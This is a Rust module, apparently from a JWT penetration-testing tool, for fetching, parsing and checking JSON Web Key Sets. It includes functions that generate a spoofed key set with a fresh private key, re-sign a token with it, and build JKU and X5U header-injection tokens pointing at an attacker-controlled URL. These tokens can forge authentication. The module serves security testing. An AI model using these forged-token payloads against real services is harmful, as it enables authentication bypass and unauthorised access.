1use anyhow::{anyhow, Result};
2use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine};
3use serde::{Deserialize, Serialize};
4use serde_json::Value;
5use std::collections::HashMap;
6
7#[derive(Debug, Clone, Serialize, Deserialize)]
9pub struct Jwk {
10 pub kty: String,
11 #[serde(default, skip_serializing_if = "Option::is_none")]
12 pub kid: Option<String>,
13 #[serde(default, skip_serializing_if = "Option::is_none")]
14 pub alg: Option<String>,
15 #[serde(default, rename = "use", skip_serializing_if = "Option::is_none")]
16 pub key_use: Option<String>,
17 #[serde(default, skip_serializing_if = "Option::is_none")]
18 pub key_ops: Option<Vec<String>>,
19 #[serde(default, skip_serializing_if = "Option::is_none")]
21 pub n: Option<String>,
22 #[serde(default, skip_serializing_if = "Option::is_none")]
23 pub e: Option<String>,
24 #[serde(default, skip_serializing_if = "Option::is_none")]
26 pub crv: Option<String>,
27 #[serde(default, skip_serializing_if = "Option::is_none")]
28 pub x: Option<String>,
29 #[serde(default, skip_serializing_if = "Option::is_none")]
30 pub y: Option<String>,
31 #[serde(default, skip_serializing_if = "Option::is_none")]
33 pub k: Option<String>,
34 #[serde(default, skip_serializing_if = "Option::is_none")]
36 pub x5c: Option<Vec<String>>,
37 #[serde(default, skip_serializing_if = "Option::is_none")]
38 pub x5t: Option<String>,
39 #[serde(default, rename = "x5t#S256", skip_serializing_if = "Option::is_none")]
40 pub x5t_s256: Option<String>,
41 #[serde(flatten)]
43 pub extra: HashMap<String, Value>,
44}
45
46#[derive(Debug, Clone, Serialize, Deserialize)]
48pub struct JwkSet {
49 pub keys: Vec<Jwk>,
50}
51
52#[derive(Debug)]
54pub struct SpoofedJwks {
55 pub jwks_json: String,
57 pub private_key_pem: String,
59 pub signed_token: Option<String>,
61}
62
63pub fn fetch_jwks(url: &str) -> Result<JwkSet> {
65 let client = reqwest::blocking::Client::builder()
66 .timeout(std::time::Duration::from_secs(10))
67 .build()?;
68
69 let response = client
70 .get(url)
71 .header("Accept", "application/json")
72 .send()
73 .map_err(|e| anyhow!("Failed to fetch JWKS from {}: {}", url, e))?;
74
75 if !response.status().is_success() {
76 return Err(anyhow!(
77 "JWKS endpoint returned status {}: {}",
78 response.status(),
79 url
80 ));
81 }
82
83 let jwks: JwkSet = response
84 .json()
85 .map_err(|e| anyhow!("Failed to parse JWKS response: {}", e))?;
86
87 Ok(jwks)
88}
89
90pub fn parse_jwks(json_str: &str) -> Result<JwkSet> {
92 let jwks: JwkSet =
93 serde_json::from_str(json_str).map_err(|e| anyhow!("Failed to parse JWKS: {}", e))?;
94 Ok(jwks)
95}
96
97pub fn jwk_rsa_to_pem(jwk: &Jwk) -> Result<String> {
99 if jwk.kty != "RSA" {
100 return Err(anyhow!("JWK is not an RSA key (kty: {})", jwk.kty));
101 }
102
103 let n = jwk
104 .n
105 .as_ref()
106 .ok_or_else(|| anyhow!("Missing 'n' parameter in RSA JWK"))?;
107 let e = jwk
108 .e
109 .as_ref()
110 .ok_or_else(|| anyhow!("Missing 'e' parameter in RSA JWK"))?;
111
112 let n_bytes = URL_SAFE_NO_PAD
113 .decode(n)
114 .map_err(|e| anyhow!("Failed to decode 'n': {}", e))?;
115 let e_bytes = URL_SAFE_NO_PAD
116 .decode(e)
117 .map_err(|e| anyhow!("Failed to decode 'e': {}", e))?;
118
119 let der = encode_rsa_public_key_der(&n_bytes, &e_bytes);
121
122 let b64 = base64::engine::general_purpose::STANDARD.encode(&der);
124 let mut pem = String::from("-----BEGIN PUBLIC KEY-----\n");
125 for chunk in b64.as_bytes().chunks(64) {
126 pem.push_str(
127 std::str::from_utf8(chunk)
128 .map_err(|e| anyhow::anyhow!("Invalid UTF-8 in base64 chunk: {}", e))?,
129 );
130 pem.push('\n');
131 }
132 pem.push_str("-----END PUBLIC KEY-----\n");
133
134 Ok(pem)
135}
136
137fn encode_rsa_public_key_der(n: &[u8], e: &[u8]) -> Vec<u8> {
139 let n_int = asn1_integer(n);
141 let e_int = asn1_integer(e);
142
143 let rsa_key_seq = asn1_sequence(&[&n_int, &e_int]);
145
146 let mut bit_string_content = vec![0x00]; bit_string_content.extend_from_slice(&rsa_key_seq);
149 let bit_string = asn1_tag(0x03, &bit_string_content);
150
151 let rsa_oid = &[
153 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01,
154 ];
155 let null = &[0x05, 0x00];
156 let algorithm_seq = asn1_sequence(&[rsa_oid, null]);
157
158 asn1_sequence(&[&algorithm_seq, &bit_string])
160}
161
162fn asn1_tag(tag: u8, content: &[u8]) -> Vec<u8> {
163 let mut result = vec![tag];
164 result.extend_from_slice(&asn1_length(content.len()));
165 result.extend_from_slice(content);
166 result
167}
168
169fn asn1_integer(data: &[u8]) -> Vec<u8> {
170 let mut content = Vec::new();
171 if !data.is_empty() && data[0] & 0x80 != 0 {
173 content.push(0x00);
174 }
175 content.extend_from_slice(data);
176 asn1_tag(0x02, &content)
177}
178
179fn asn1_sequence(items: &[&[u8]]) -> Vec<u8> {
180 let mut content = Vec::new();
181 for item in items {
182 content.extend_from_slice(item);
183 }
184 asn1_tag(0x30, &content)
185}
186
187fn asn1_length(len: usize) -> Vec<u8> {
188 if len < 128 {
189 vec![len as u8]
190 } else if len < 256 {
191 vec![0x81, len as u8]
192 } else {
193 vec![0x82, (len >> 8) as u8, len as u8]
194 }
195}
196
197pub fn generate_spoofed_jwks(
199 algorithm: &str,
200 kid: Option<&str>,
201 token: Option<&str>,
202) -> Result<SpoofedJwks> {
203 use rsa::pkcs8::EncodePrivateKey;
204 use rsa::RsaPrivateKey;
205
206 let alg_upper = algorithm.to_uppercase();
207 if !matches!(
208 alg_upper.as_str(),
209 "RS256" | "RS384" | "RS512" | "PS256" | "PS384" | "PS512"
210 ) {
211 return Err(anyhow!(
212 "JWKS spoofing currently supports RSA algorithms (RS256/RS384/RS512/PS256/PS384/PS512), got: {}",
213 algorithm
214 ));
215 }
216
217 let mut rng = rsa::rand_core::OsRng;
219 let bits = 2048;
220 let private_key = RsaPrivateKey::new(&mut rng, bits)
221 .map_err(|e| anyhow!("Failed to generate RSA key: {}", e))?;
222 let public_key = private_key.to_public_key();
223
224 use rsa::traits::PublicKeyParts;
226 let n_bytes = public_key.n().to_bytes_be();
227 let e_bytes = public_key.e().to_bytes_be();
228
229 let n_b64 = URL_SAFE_NO_PAD.encode(&n_bytes);
230 let e_b64 = URL_SAFE_NO_PAD.encode(&e_bytes);
231
232 let kid_value = kid
233 .map(|s| s.to_string())
234 .unwrap_or_else(|| format!("spoofed-key-{}", chrono::Utc::now().timestamp()));
235
236 let jwk = Jwk {
237 kty: "RSA".to_string(),
238 kid: Some(kid_value.clone()),
239 alg: Some(algorithm.to_uppercase()),
240 key_use: Some("sig".to_string()),
241 key_ops: None,
242 n: Some(n_b64),
243 e: Some(e_b64),
244 crv: None,
245 x: None,
246 y: None,
247 k: None,
248 x5c: None,
249 x5t: None,
250 x5t_s256: None,
251 extra: HashMap::new(),
252 };
253
254 let jwks = JwkSet { keys: vec![jwk] };
255
256 let jwks_json = serde_json::to_string_pretty(&jwks)?;
257
258 let private_key_pem = private_key
260 .to_pkcs8_pem(rsa::pkcs8::LineEnding::LF)
261 .map_err(|e| anyhow!("Failed to export private key: {}", e))?
262 .to_string();
263
264 let signed_token = if let Some(token) = token {
266 sign_token_with_key(token, &private_key_pem, algorithm, Some(&kid_value)).ok()
267 } else {
268 None
269 };
270
271 Ok(SpoofedJwks {
272 jwks_json,
273 private_key_pem,
274 signed_token,
275 })
276}
277
278fn sign_token_with_key(
280 token: &str,
281 private_key_pem: &str,
282 algorithm: &str,
283 kid: Option<&str>,
284) -> Result<String> {
285 let decoded = crate::jwt::decode(token)?;
287
288 let mut header_params = HashMap::new();
290 if let Some(kid) = kid {
291 header_params.insert("kid", kid);
292 }
293
294 let options = crate::jwt::EncodeOptions {
295 algorithm,
296 key_data: crate::jwt::KeyData::PrivateKeyPem(private_key_pem),
297 header_params: if header_params.is_empty() {
298 None
299 } else {
300 Some(header_params)
301 },
302 compress_payload: false,
303 };
304
305 crate::jwt::encode_with_options(&decoded.claims, &options)
306}
307
308pub fn verify_with_jwks(token: &str, jwks: &JwkSet) -> Result<Vec<KeyVerifyResult>> {
310 let mut results = Vec::new();
311
312 for (i, jwk) in jwks.keys.iter().enumerate() {
313 let kid = jwk.kid.as_deref().unwrap_or("(none)");
314
315 match jwk.kty.as_str() {
316 "RSA" => match jwk_rsa_to_pem(jwk) {
317 Ok(pem) => {
318 let options = crate::jwt::VerifyOptions {
319 key_data: crate::jwt::VerifyKeyData::PublicKeyPem(&pem),
320 validate_exp: false,
321 validate_nbf: false,
322 leeway: 0,
323 };
324 match crate::jwt::verify_with_options(token, &options) {
325 Ok(valid) => {
326 results.push(KeyVerifyResult {
327 key_index: i,
328 kid: kid.to_string(),
329 kty: jwk.kty.clone(),
330 alg: jwk.alg.clone(),
331 valid,
332 error: None,
333 });
334 }
335 Err(e) => {
336 results.push(KeyVerifyResult {
337 key_index: i,
338 kid: kid.to_string(),
339 kty: jwk.kty.clone(),
340 alg: jwk.alg.clone(),
341 valid: false,
342 error: Some(e.to_string()),
343 });
344 }
345 }
346 }
347 Err(e) => {
348 results.push(KeyVerifyResult {
349 key_index: i,
350 kid: kid.to_string(),
351 kty: jwk.kty.clone(),
352 alg: jwk.alg.clone(),
353 valid: false,
354 error: Some(format!("Key conversion failed: {}", e)),
355 });
356 }
357 },
358 "oct" => {
359 if let Some(k) = &jwk.k {
360 match URL_SAFE_NO_PAD.decode(k) {
361 Ok(secret_bytes) => {
362 let secret = String::from_utf8_lossy(&secret_bytes);
363 let options = crate::jwt::VerifyOptions {
364 key_data: crate::jwt::VerifyKeyData::Secret(&secret),
365 validate_exp: false,
366 validate_nbf: false,
367 leeway: 0,
368 };
369 match crate::jwt::verify_with_options(token, &options) {
370 Ok(valid) => {
371 results.push(KeyVerifyResult {
372 key_index: i,
373 kid: kid.to_string(),
374 kty: jwk.kty.clone(),
375 alg: jwk.alg.clone(),
376 valid,
377 error: None,
378 });
379 }
380 Err(e) => {
381 results.push(KeyVerifyResult {
382 key_index: i,
383 kid: kid.to_string(),
384 kty: jwk.kty.clone(),
385 alg: jwk.alg.clone(),
386 valid: false,
387 error: Some(e.to_string()),
388 });
389 }
390 }
391 }
392 Err(e) => {
393 results.push(KeyVerifyResult {
394 key_index: i,
395 kid: kid.to_string(),
396 kty: jwk.kty.clone(),
397 alg: jwk.alg.clone(),
398 valid: false,
399 error: Some(format!("Failed to decode symmetric key: {}", e)),
400 });
401 }
402 }
403 } else {
404 results.push(KeyVerifyResult {
405 key_index: i,
406 kid: kid.to_string(),
407 kty: jwk.kty.clone(),
408 alg: jwk.alg.clone(),
409 valid: false,
410 error: Some("Missing 'k' parameter".to_string()),
411 });
412 }
413 }
414 other => {
415 results.push(KeyVerifyResult {
416 key_index: i,
417 kid: kid.to_string(),
418 kty: other.to_string(),
419 alg: jwk.alg.clone(),
420 valid: false,
421 error: Some(format!("Unsupported key type: {}", other)),
422 });
423 }
424 }
425 }
426
427 Ok(results)
428}
429
430#[derive(Debug)]
432pub struct KeyVerifyResult {
433 pub key_index: usize,
434 pub kid: String,
435 pub kty: String,
436 pub alg: Option<String>,
437 pub valid: bool,
438 pub error: Option<String>,
439}
440
441pub fn generate_jwks_injection_payloads(
443 token: &str,
444 attacker_url: &str,
445 algorithm: &str,
446) -> Result<JwksInjectionResult> {
447 let spoofed = generate_spoofed_jwks(algorithm, None, Some(token))?;
448
449 let signed_token = spoofed
450 .signed_token
451 .ok_or_else(|| anyhow!("Failed to sign token with spoofed key"))?;
452
453 let parts: Vec<&str> = signed_token.split('.').collect();
455 if parts.len() != 3 {
456 return Err(anyhow!("Invalid signed token format"));
457 }
458
459 let decoded = crate::jwt::decode(&signed_token)?;
461 let claims_part = parts[1];
462 let signature_part = parts[2];
463
464 let mut payloads = Vec::new();
465
466 let mut jku_header = serde_json::Map::new();
468 for (k, v) in &decoded.header {
469 jku_header.insert(k.clone(), v.clone());
470 }
471 jku_header.insert(
472 "jku".to_string(),
473 Value::String(format!("{}/jwks.json", attacker_url.trim_end_matches('/'))),
474 );
475 let jku_header_json = serde_json::to_string(&jku_header)?;
476 let jku_header_b64 = URL_SAFE_NO_PAD.encode(jku_header_json.as_bytes());
477 payloads.push(InjectionPayload {
478 header_type: "jku".to_string(),
479 token: format!("{}.{}.{}", jku_header_b64, claims_part, signature_part),
480 description: format!("JKU injection pointing to {}/jwks.json", attacker_url),
481 });
482
483 let mut x5u_header = serde_json::Map::new();
485 for (k, v) in &decoded.header {
486 x5u_header.insert(k.clone(), v.clone());
487 }
488 x5u_header.insert(
489 "x5u".to_string(),
490 Value::String(format!("{}/cert.pem", attacker_url.trim_end_matches('/'))),
491 );
492 let x5u_header_json = serde_json::to_string(&x5u_header)?;
493 let x5u_header_b64 = URL_SAFE_NO_PAD.encode(x5u_header_json.as_bytes());
494 payloads.push(InjectionPayload {
495 header_type: "x5u".to_string(),
496 token: format!("{}.{}.{}", x5u_header_b64, claims_part, signature_part),
497 description: format!("X5U injection pointing to {}/cert.pem", attacker_url),
498 });
499
500 Ok(JwksInjectionResult {
501 jwks_json: spoofed.jwks_json,
502 private_key_pem: spoofed.private_key_pem,
503 payloads,
504 })
505}
506
507#[derive(Debug)]
509pub struct JwksInjectionResult {
510 pub jwks_json: String,
511 pub private_key_pem: String,
512 pub payloads: Vec<InjectionPayload>,
513}
514
515#[derive(Debug)]
517pub struct InjectionPayload {
518 pub header_type: String,
519 pub token: String,
520 pub description: String,
521}
522
523pub fn test_key_rotation(
525 token: &str,
526 key_paths: &[std::path::PathBuf],
527) -> Result<Vec<KeyRotationResult>> {
528 let mut results = Vec::new();
529
530 for path in key_paths {
531 let key_content = std::fs::read_to_string(path)
532 .map_err(|e| anyhow!("Failed to read key file {:?}: {}", path, e))?;
533
534 let filename = path
535 .file_name()
536 .map(|f| f.to_string_lossy().to_string())
537 .unwrap_or_else(|| path.display().to_string());
538
539 let options = crate::jwt::VerifyOptions {
541 key_data: crate::jwt::VerifyKeyData::PublicKeyPem(&key_content),
542 validate_exp: false,
543 validate_nbf: false,
544 leeway: 0,
545 };
546
547 match crate::jwt::verify_with_options(token, &options) {
548 Ok(valid) => {
549 results.push(KeyRotationResult {
550 key_file: filename,
551 valid,
552 error: None,
553 });
554 }
555 Err(_) => {
556 let secret_options = crate::jwt::VerifyOptions {
558 key_data: crate::jwt::VerifyKeyData::Secret(key_content.trim()),
559 validate_exp: false,
560 validate_nbf: false,
561 leeway: 0,
562 };
563 match crate::jwt::verify_with_options(token, &secret_options) {
564 Ok(valid) => {
565 results.push(KeyRotationResult {
566 key_file: filename,
567 valid,
568 error: None,
569 });
570 }
571 Err(e) => {
572 results.push(KeyRotationResult {
573 key_file: filename,
574 valid: false,
575 error: Some(e.to_string()),
576 });
577 }
578 }
579 }
580 }
581 }
582
583 Ok(results)
584}
585
586#[derive(Debug)]
588pub struct KeyRotationResult {
589 pub key_file: String,
590 pub valid: bool,
591 pub error: Option<String>,
592}
593
594#[cfg(test)]
595mod tests {
596 use super::*;
597
598 #[test]
599 fn test_parse_jwks() {
600 let jwks_json = r#"{
601 "keys": [
602 {
603 "kty": "RSA",
604 "kid": "test-key-1",
605 "use": "sig",
606 "alg": "RS256",
607 "n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx4cbbfAAtVT86zwu1RK7aPFFxuhDR1L6tSoc_BJECPebWKRXjBZCiFV4n3oknjhMstn64tZ_2W-5JsGY4Hc5n9yBXArwl93lqt7_RN5w6Cf0h4QyQ5v-65YGjQR0_FDW2QvzqY368QQMicAtaSqzs8KJZgnYb9c7d0zgdAZHzu6qMQvRL5hajrn1n91CbOpbISD08qNLyrdkt-bFTWhAI4vMQFh6WeZu0fM4lFd2NcRwr3XPksINHaQ-G_xBniIqbw0Ls1jF44-csFCur-kEgU8awapJzKnqDKgw",
608 "e": "AQAB"
609 }
610 ]
611 }"#;
612
613 let jwks = parse_jwks(jwks_json).unwrap();
614 assert_eq!(jwks.keys.len(), 1);
615 assert_eq!(jwks.keys[0].kty, "RSA");
616 assert_eq!(jwks.keys[0].kid.as_deref(), Some("test-key-1"));
617 assert_eq!(jwks.keys[0].alg.as_deref(), Some("RS256"));
618 }
619
620 #[test]
621 fn test_jwk_rsa_to_pem() {
622 let jwk = Jwk {
623 kty: "RSA".to_string(),
624 kid: Some("test".to_string()),
625 alg: Some("RS256".to_string()),
626 key_use: Some("sig".to_string()),
627 key_ops: None,
628 n: Some("0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx4cbbfAAtVT86zwu1RK7aPFFxuhDR1L6tSoc_BJECPebWKRXjBZCiFV4n3oknjhMstn64tZ_2W-5JsGY4Hc5n9yBXArwl93lqt7_RN5w6Cf0h4QyQ5v-65YGjQR0_FDW2QvzqY368QQMicAtaSqzs8KJZgnYb9c7d0zgdAZHzu6qMQvRL5hajrn1n91CbOpbISD08qNLyrdkt-bFTWhAI4vMQFh6WeZu0fM4lFd2NcRwr3XPksINHaQ-G_xBniIqbw0Ls1jF44-csFCur-kEgU8awapJzKnqDKgw".to_string()),
629 e: Some("AQAB".to_string()),
630 crv: None,
631 x: None,
632 y: None,
633 k: None,
634 x5c: None,
635 x5t: None,
636 x5t_s256: None,
637 extra: HashMap::new(),
638 };
639
640 let pem = jwk_rsa_to_pem(&jwk).unwrap();
641 assert!(pem.contains("-----BEGIN PUBLIC KEY-----"));
642 assert!(pem.contains("-----END PUBLIC KEY-----"));
643 }
644
645 #[test]
646 fn test_parse_jwks_empty() {
647 let jwks_json = r#"{"keys": []}"#;
648 let jwks = parse_jwks(jwks_json).unwrap();
649 assert_eq!(jwks.keys.len(), 0);
650 }
651
652 #[test]
653 fn test_parse_jwks_invalid_json() {
654 let result = parse_jwks("not json");
655 assert!(result.is_err());
656 }
657
658 #[test]
659 fn test_generate_spoofed_jwks() {
660 let result = generate_spoofed_jwks("RS256", Some("test-kid"), None);
661 assert!(result.is_ok());
662 let spoofed = result.unwrap();
663
664 let jwks: JwkSet = serde_json::from_str(&spoofed.jwks_json).unwrap();
666 assert_eq!(jwks.keys.len(), 1);
667 assert_eq!(jwks.keys[0].kty, "RSA");
668 assert_eq!(jwks.keys[0].kid.as_deref(), Some("test-kid"));
669 assert!(jwks.keys[0].n.is_some());
670 assert!(jwks.keys[0].e.is_some());
671
672 assert!(spoofed
674 .private_key_pem
675 .contains("-----BEGIN PRIVATE KEY-----"));
676 }
677
678 #[test]
679 fn test_generate_spoofed_jwks_with_token() {
680 let claims = serde_json::json!({"sub": "test", "name": "Test User"});
682 let token =
683 crate::jwt::encode(&claims, "secret", "HS256").expect("Failed to create test token");
684
685 let result = generate_spoofed_jwks("RS256", Some("test-kid"), Some(&token));
686 assert!(result.is_ok());
687 let spoofed = result.unwrap();
688 assert!(spoofed.signed_token.is_some());
689 }
690
691 #[test]
692 fn test_generate_spoofed_jwks_unsupported_alg() {
693 let result = generate_spoofed_jwks("ES256", None, None);
694 assert!(result.is_err());
695 }
696
697 #[test]
698 fn test_asn1_encoding() {
699 assert_eq!(asn1_length(0), vec![0x00]);
701 assert_eq!(asn1_length(127), vec![0x7f]);
702 assert_eq!(asn1_length(128), vec![0x81, 0x80]);
703 assert_eq!(asn1_length(255), vec![0x81, 0xff]);
704 assert_eq!(asn1_length(256), vec![0x82, 0x01, 0x00]);
705 }
706
707 #[test]
708 fn test_jwk_rsa_to_pem_non_rsa() {
709 let jwk = Jwk {
710 kty: "EC".to_string(),
711 kid: None,
712 alg: None,
713 key_use: None,
714 key_ops: None,
715 n: None,
716 e: None,
717 crv: Some("P-256".to_string()),
718 x: Some("test".to_string()),
719 y: Some("test".to_string()),
720 k: None,
721 x5c: None,
722 x5t: None,
723 x5t_s256: None,
724 extra: HashMap::new(),
725 };
726
727 let result = jwk_rsa_to_pem(&jwk);
728 assert!(result.is_err());
729 }
730
731 #[test]
732 fn test_verify_with_jwks_empty() {
733 let claims = serde_json::json!({"sub": "test"});
734 let token =
735 crate::jwt::encode(&claims, "secret", "HS256").expect("Failed to create test token");
736
737 let jwks = JwkSet { keys: vec![] };
738 let results = verify_with_jwks(&token, &jwks).unwrap();
739 assert!(results.is_empty());
740 }
741
742 #[test]
743 fn test_key_rotation_with_temp_files() {
744 use std::io::Write;
745 use tempfile::tempdir;
746
747 let claims = serde_json::json!({"sub": "test"});
748 let token =
749 crate::jwt::encode(&claims, "my-secret", "HS256").expect("Failed to create test token");
750
751 let dir = tempdir().unwrap();
752
753 let key1_path = dir.path().join("key1.txt");
755 let key2_path = dir.path().join("key2.txt");
756
757 std::fs::File::create(&key1_path)
758 .unwrap()
759 .write_all(b"wrong-secret")
760 .unwrap();
761 std::fs::File::create(&key2_path)
762 .unwrap()
763 .write_all(b"my-secret")
764 .unwrap();
765
766 let results = test_key_rotation(&token, &[key1_path, key2_path]).unwrap();
767 assert_eq!(results.len(), 2);
768 assert!(!results[0].valid); assert!(results[1].valid); }
771}